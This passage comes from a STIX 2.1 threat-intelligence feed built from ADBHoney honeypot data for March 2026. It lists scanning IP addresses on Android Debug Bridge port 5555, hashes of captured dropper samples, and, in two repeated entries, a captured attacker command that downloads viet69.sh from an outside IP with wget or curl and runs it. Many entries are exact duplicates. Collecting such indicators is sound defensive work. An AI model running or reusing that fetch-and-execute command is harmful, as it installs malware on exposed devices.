      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--fba3ec24-af2e-45fb-83f8-b17c6a6c6338",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T15:00:14.000Z",
      "valid_until": "2026-04-02T15:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T16:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=202425; asn_org=IP Volume inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--96e30487-9b43-46bb-8b55-5b38c98eb72b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T16:00:13.000Z",
      "valid_until": "2026-04-02T16:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T16:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--3cf770d5-f243-438f-82ce-80499fde3507",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.33.41.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T16:00:13.000Z",
      "valid_until": "2026-04-02T16:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T16:00:15.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=202425; asn_org=IP Volume inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--96e30487-9b43-46bb-8b55-5b38c98eb72b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T16:00:15.000Z",
      "valid_until": "2026-04-02T16:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T16:00:15.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--3cf770d5-f243-438f-82ce-80499fde3507",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.33.41.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T16:00:15.000Z",
      "valid_until": "2026-04-02T16:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T17:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=21; ports=5555; cc=PL; asn=201814; asn_org=MEVSPACE sp. z o.o.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--c935bc0e-0229-4610-9368-1621c880c6b8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '195.3.221.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T17:00:13.000Z",
      "valid_until": "2026-04-02T17:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T17:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=21; ports=5555; cc=PL; asn=201814; asn_org=MEVSPACE sp. z o.o.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--c935bc0e-0229-4610-9368-1621c880c6b8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '195.3.221.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T17:00:13.000Z",
      "valid_until": "2026-04-02T17:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T18:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--6e62b77e-6014-4e5f-af7f-e3ff29a73d5e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '206.168.34.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T18:00:13.000Z",
      "valid_until": "2026-04-02T18:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T18:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--6e62b77e-6014-4e5f-af7f-e3ff29a73d5e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '206.168.34.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T18:00:13.000Z",
      "valid_until": "2026-04-02T18:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T19:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--4ce44850-fe1e-48c6-8334-9a0c45fc7df1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T19:00:13.000Z",
      "valid_until": "2026-04-02T19:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T19:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--4ce44850-fe1e-48c6-8334-9a0c45fc7df1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T19:00:13.000Z",
      "valid_until": "2026-04-02T19:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T20:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=GB; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--67c9e447-5141-4d8c-b5d3-233242e7218e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '159.65.58.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T20:00:13.000Z",
      "valid_until": "2026-04-02T20:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T20:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=50219; asn_org=Valence Technology Co.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--f862750a-1364-4ac3-8d4a-d0cb0fca9f7d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '194.164.107.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T20:00:13.000Z",
      "valid_until": "2026-04-02T20:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T20:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=GB; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--67c9e447-5141-4d8c-b5d3-233242e7218e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '159.65.58.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T20:00:13.000Z",
      "valid_until": "2026-04-02T20:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T20:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=50219; asn_org=Valence Technology Co.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--f862750a-1364-4ac3-8d4a-d0cb0fca9f7d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '194.164.107.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T20:00:13.000Z",
      "valid_until": "2026-04-02T20:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T21:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=VN; asn=150895; asn_org=EZ TECHNOLOGY COMPANY LIMITED; adb_cmd_hits=0; cmd=\"cd /data/local/tmp/; busybox wget http://103.253.146.163/viet69.sh; sh viet69.sh; curl http://103.253.146.163/viet69.sh; sh viet69.sh; wget http://103.253.146.1\"\n\nObserved in ADBHoney telemetry for 2026-03. events=45 | first_seen=2026-03-02T11:34:14.000Z | last_seen=2026-03-02T23:57:38.611Z | ports=5555 | cc=VN | asn=150895 | org=EZ TECHNOLOGY COMPANY LIMITED",
      "id": "indicator--b871203a-a51f-4bea-966e-da20874dd071",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '103.152.165.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T21:00:13.000Z",
      "valid_until": "2026-04-02T21:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 45,
          "first_seen": "2026-03-02T11:34:14.000Z",
          "last_seen": "2026-03-02T23:57:38.611Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "VN"
          ],
          "asn": [
            "150895"
          ],
          "org": [
            "EZ TECHNOLOGY COMPANY LIMITED"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T21:00:13.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/4251293b2d3765833f16988c2dbec30362df1c84dfe33c58dcc0815596d31353.raw; last_seen=2026-03-01T20:30:44.572Z",
      "id": "indicator--b6b15a88-9636-484b-8085-349f6c289146",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '4251293b2d3765833f16988c2dbec30362df1c84dfe33c58dcc0815596d31353']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T21:00:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T21:00:13.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/9a56e2c761e10156cac6589bc9e929b1b8b5b00dd6c79ca0d33c2399b88e3a43.raw; last_seen=2026-03-01T20:30:45.922Z",
      "id": "indicator--c289dc18-dd74-4913-91ed-9f9c53358ca0",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '9a56e2c761e10156cac6589bc9e929b1b8b5b00dd6c79ca0d33c2399b88e3a43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T21:00:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T21:00:13.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/9bc28777e722c46898754ef256d052e9cd684f6ad812d69878c68ba6cc0c72fe.raw; last_seen=2026-03-01T20:30:45.248Z",
      "id": "indicator--9205d20c-c204-4ff7-9d2f-95a250356485",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '9bc28777e722c46898754ef256d052e9cd684f6ad812d69878c68ba6cc0c72fe']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T21:00:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T21:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=VN; asn=150895; asn_org=EZ TECHNOLOGY COMPANY LIMITED; adb_cmd_hits=0; cmd=\"cd /data/local/tmp/; busybox wget http://103.253.146.163/viet69.sh; sh viet69.sh; curl http://103.253.146.163/viet69.sh; sh viet69.sh; wget http://103.253.146.1\"\n\nObserved in ADBHoney telemetry for 2026-03. events=45 | first_seen=2026-03-02T11:34:14.000Z | last_seen=2026-03-02T23:57:38.611Z | ports=5555 | cc=VN | asn=150895 | org=EZ TECHNOLOGY COMPANY LIMITED",
      "id": "indicator--b871203a-a51f-4bea-966e-da20874dd071",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '103.152.165.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T21:00:13.000Z",
      "valid_until": "2026-04-02T21:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 45,
          "first_seen": "2026-03-02T11:34:14.000Z",
          "last_seen": "2026-03-02T23:57:38.611Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "VN"
          ],
          "asn": [
            "150895"
          ],
          "org": [
            "EZ TECHNOLOGY COMPANY LIMITED"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T21:00:13.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/4251293b2d3765833f16988c2dbec30362df1c84dfe33c58dcc0815596d31353.raw; last_seen=2026-03-01T20:30:44.572Z",
      "id": "indicator--b6b15a88-9636-484b-8085-349f6c289146",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
